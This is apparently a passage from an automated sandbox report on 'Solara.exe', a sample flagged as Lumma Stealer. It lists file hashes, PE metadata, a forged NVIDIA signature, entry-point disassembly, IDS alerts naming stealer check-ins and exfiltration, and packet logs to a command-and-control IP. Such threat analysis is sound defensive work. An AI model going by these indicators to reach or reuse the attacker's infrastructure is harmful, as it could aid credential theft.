	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

Dropped Files

⊘No context

Created / dropped Files

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\Solara.exe
File Type:	assembler source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14402
Entropy (8bit):	4.874636730022465
Encrypted:	false
SSDEEP:	384:vlICCmV5fTMzsM3qlICCmV5fTMzsM3ip9guFx2rBhiLfmfU:vGCC+dMOGCC+dMY9guFx2rBo
MD5:	DF0EFD0545733561C6E165770FB3661C
SHA1:	0F3AD477176CF235C6C59EE2EB15D81DCB6178A8
SHA-256:	A434B406E97A2C892FA88C3975D8181EBEA62A8DA919C5221409E425DF50FD17
SHA-512:	3FF527435BC8BCF2640E0B64725CC0DB8A801D912698D4D94C44200529268B80AA7B59A2E2A2EA6C4621E09AA249AAA3583A8D90E4F5D7B68E0E6FFFEB759918
Malicious:	false
Reputation:	low
Preview:	AcquireSRWLockExclusive..AcquireSRWLockShared..ActivateActCtx..ActivateActCtxWorker..AddAtomA..AddAtomW..AddConsoleAliasA..AddConsoleAliasW..AddDllDirectory..AddIntegrityLabelToBoundaryDescriptor..AddLocalAlternateComputerNameA..AddLocalAlternateComputerNameW..AddRefActCtx..AddRefActCtxWorker..AddResourceAttributeAce..AddSIDToBoundaryDescriptor..AddScopedPolicyIDAce..AddSecureMemoryCacheCallback..AddVectoredContinueHandler..AddVectoredExceptionHandler..AdjustCalendarDate..AllocConsole..AllocateUserPhysicalPages..AllocateUserPhysicalPagesNuma..AppPolicyGetClrCompat..AppPolicyGetCreateFileAccess..AppPolicyGetLifecycleManagement..AppPolicyGetMediaFoundationCodecLoading..AppPolicyGetProcessTerminationMethod..AppPolicyGetShowDeveloperDiagnostic..AppPolicyGetThreadInitializationType..AppPolicyGetWindowingModel..AppXGetOSMaxVersionTested..ApplicationRecoveryFinished..ApplicationRecoveryInProgress..AreFileApisANSI..AssignProcessToJobObject..AttachConsole..BackupRead..BackupSeek..BackupWrite..B

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.562861764583217
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Solara.exe
File size:	565'288 bytes
MD5:	a58debbc1c1961456ca288898e937ffb
SHA1:	018e99304ae7b0d1fbae772daab0acd5afb5f3c6
SHA256:	08d7909a9758d3c8e1492e5f83721acb930300d182ec2877dbe59bddd251e602
SHA512:	cee95a96c4077e7cc6b37a98bc5cebcb680110b790b524a295cb82ea4b31868f5f0eca3be0bf9ef5ac2b8aeb1b1ca04b54f02d49df1f11f83cb1d0fe844daf79
SSDEEP:	12288:XYO6Dqzihouxpa+yWQWXkY239XFHs+9UAPisqZa2LQAnREO:IO6DThou2+yrj39XFD9fn0agQERt
TLSH:	33C4D0523690C4B2D9531A765A79D7795A3EF8200F625ACBA3940BFDCE703C14F30A6E
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....ng..........................................@.......................................@.................................\|j..<..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4104a0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x676E98E6 [Fri Dec 27 12:09:10 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	96d90e8808da099bc17e050394f447e7

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	12/01/2023 19:00:00 16/01/2026 18:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
call 00007F55C0F1899Ah
jmp 00007F55C0F187FDh
mov ecx, dword ptr [0043B680h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F55C0F18996h
test esi, ecx
jne 00007F55C0F189B8h
call 00007F55C0F189C1h
mov ecx, eax
cmp ecx, edi
jne 00007F55C0F18999h
mov ecx, BB40E64Fh
jmp 00007F55C0F189A0h
test esi, ecx
jne 00007F55C0F1899Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0043B680h], ecx
not ecx
pop edi
mov dword ptr [0043B6C0h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [00436D00h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00436CB8h]
xor dword ptr [ebp-04h], eax
call dword ptr [00436CB4h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [00436D50h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 0043CF48h
call dword ptr [00436D28h]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007F55C0F1F773h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x36a7c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8d000	0x3fc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x87a00	0x2628	.bss
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3f000	0x2744	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x32608	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ea98	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x36c3c	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2b4ca	0x2b600	ebf84c6b836020b1a66433a898baeab7	False	0.5443702719740634	data	6.596404756541432	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2d000	0xc50c	0xc600	96e76e7ef084461591b1dcd4c2131f05	False	0.40260022095959597	data	4.741850626178578	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3a000	0x3714	0x2800	d87fd4546a2b39263a028b496b33108f	False	0.29814453125	data	5.024681407682101	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x3e000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x3f000	0x2744	0x2800	c7508b57e36483307c47b7dd73fc0c85	False	0.75166015625	data	6.531416896423856	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x42000	0x4a200	0x4a200	a5e67897cabd609a43ba9f1a15160029	False	1.0003326570404723	data	7.999352798586712	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x8d000	0x3fc	0x400	6a4851071664eb0d5787860b0928a2fa	False	0.4443359375	data	3.391431520369637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x8d058	0x3a4	data	English	United States	0.44849785407725323

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CompareStringW, CreateFileW, CreateThread, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetConsoleWindow, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WaitForSingleObjectEx, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

USER32.dll

ShowWindow

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T16:20:58.059815+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	172.67.165.185	443	TCP
2024-12-27T16:20:58.825403+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49733	172.67.165.185	443	TCP
2024-12-27T16:20:58.825403+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49733	172.67.165.185	443	TCP
2024-12-27T16:21:00.150427+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	172.67.165.185	443	TCP
2024-12-27T16:21:00.929153+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49734	172.67.165.185	443	TCP
2024-12-27T16:21:00.929153+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49734	172.67.165.185	443	TCP
2024-12-27T16:21:02.536177+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	172.67.165.185	443	TCP
2024-12-27T16:21:04.940094+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	172.67.165.185	443	TCP
2024-12-27T16:21:07.237305+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	172.67.165.185	443	TCP
2024-12-27T16:21:09.801267+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	172.67.165.185	443	TCP
2024-12-27T16:21:12.337000+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	172.67.165.185	443	TCP
2024-12-27T16:21:12.351028+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49739	172.67.165.185	443	TCP
2024-12-27T16:21:16.149908+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	172.67.165.185	443	TCP
2024-12-27T16:21:16.932910+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49741	172.67.165.185	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 16:20:56.781799078 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:20:56.781832933 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 16:20:56.781908989 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:20:56.784878969 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:20:56.784895897 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 16:20:58.059726954 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 16:20:58.059814930 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:20:58.063349962 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:20:58.063360929 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 16:20:58.063777924 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 16:20:58.112401962 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:20:58.112421036 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:20:58.112593889 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 16:20:58.825508118 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 16:20:58.825778008 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 16:20:58.825848103 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:20:58.827188969 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:20:58.827203035 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 16:20:58.827214003 CET	49733	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:20:58.827219009 CET	443	49733	172.67.165.185	192.168.2.4
Dec 27, 2024 16:20:58.835758924 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:20:58.835833073 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:20:58.835918903 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:20:58.837038040 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:20:58.837066889 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.150324106 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.150427103 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:00.151753902 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:00.151786089 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.152295113 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.153512955 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:00.153574944 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:00.153613091 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.929269075 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.929397106 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.929465055 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:00.929505110 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.929533958 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.929595947 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:00.929621935 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.929773092 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.929826021 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:00.929851055 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.937208891 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.937272072 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:00.937288046 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.945374012 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.945432901 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:00.945449114 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:00.990185022 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:00.990201950 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:01.037050962 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:01.048554897 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:01.099654913 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:01.139307976 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:01.142762899 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:01.142833948 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:01.142852068 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:01.143069983 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:01.143131018 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:01.143225908 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:01.143260956 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:01.143287897 CET	49734	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:01.143301010 CET	443	49734	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:01.269104004 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:01.269150972 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:01.269220114 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:01.269489050 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:01.269504070 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:02.536092043 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:02.536176920 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:02.537811041 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:02.537822962 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:02.538610935 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:02.539885998 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:02.540028095 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:02.540066004 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:02.540132046 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:02.540139914 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:03.593235970 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:03.593514919 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:03.593584061 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:03.593703032 CET	49735	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:03.593719959 CET	443	49735	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:03.671684980 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:03.671717882 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:03.671809912 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:03.672075033 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:03.672091007 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:04.939976931 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:04.940093994 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:04.941248894 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:04.941258907 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:04.941750050 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:04.942786932 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:04.942930937 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:04.942962885 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:05.793451071 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:05.793715954 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:05.793772936 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:05.793874025 CET	49736	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:05.793890953 CET	443	49736	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:05.967192888 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:05.967272043 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:05.967354059 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:05.967685938 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:05.967709064 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:07.237096071 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:07.237304926 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:07.238504887 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:07.238528967 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:07.239283085 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:07.240672112 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:07.240833998 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:07.240856886 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:07.240923882 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:07.240931988 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:08.237591028 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:08.237823963 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:08.237900972 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:08.237982035 CET	49737	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:08.238007069 CET	443	49737	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:08.579870939 CET	49738	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:08.579916954 CET	443	49738	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:08.579981089 CET	49738	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:08.583327055 CET	49738	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:08.583347082 CET	443	49738	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:09.801204920 CET	443	49738	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:09.801266909 CET	49738	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:09.802520037 CET	49738	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:09.802532911 CET	443	49738	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:09.802856922 CET	443	49738	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:09.804114103 CET	49738	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:09.804208994 CET	49738	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:09.804215908 CET	443	49738	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:10.581778049 CET	443	49738	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:10.582006931 CET	443	49738	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:10.582070112 CET	49738	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:10.582328081 CET	49738	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:10.582348108 CET	443	49738	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:11.024008989 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:11.024105072 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:11.024204969 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:11.024478912 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:11.024502993 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.336869001 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.336999893 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.338244915 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.338298082 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.339214087 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.348953009 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.349853039 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.349912882 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.350052118 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.350099087 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.350248098 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.350331068 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.350476027 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.350652933 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.350692987 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.350739956 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.350779057 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.350950003 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.351150990 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.351202011 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.351443052 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.351488113 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.351536036 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.351639032 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.351783991 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.351849079 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.351871014 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.351921082 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.352160931 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.352204084 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.352247000 CET	443	49739	172.67.165.185	192.168.2.4
Dec 27, 2024 16:21:12.352341890 CET	49739	443	192.168.2.4	172.67.165.185
Dec 27, 2024 16:21:12.352361917 CET	443	49739	172.67.165.185	192.168.2.4
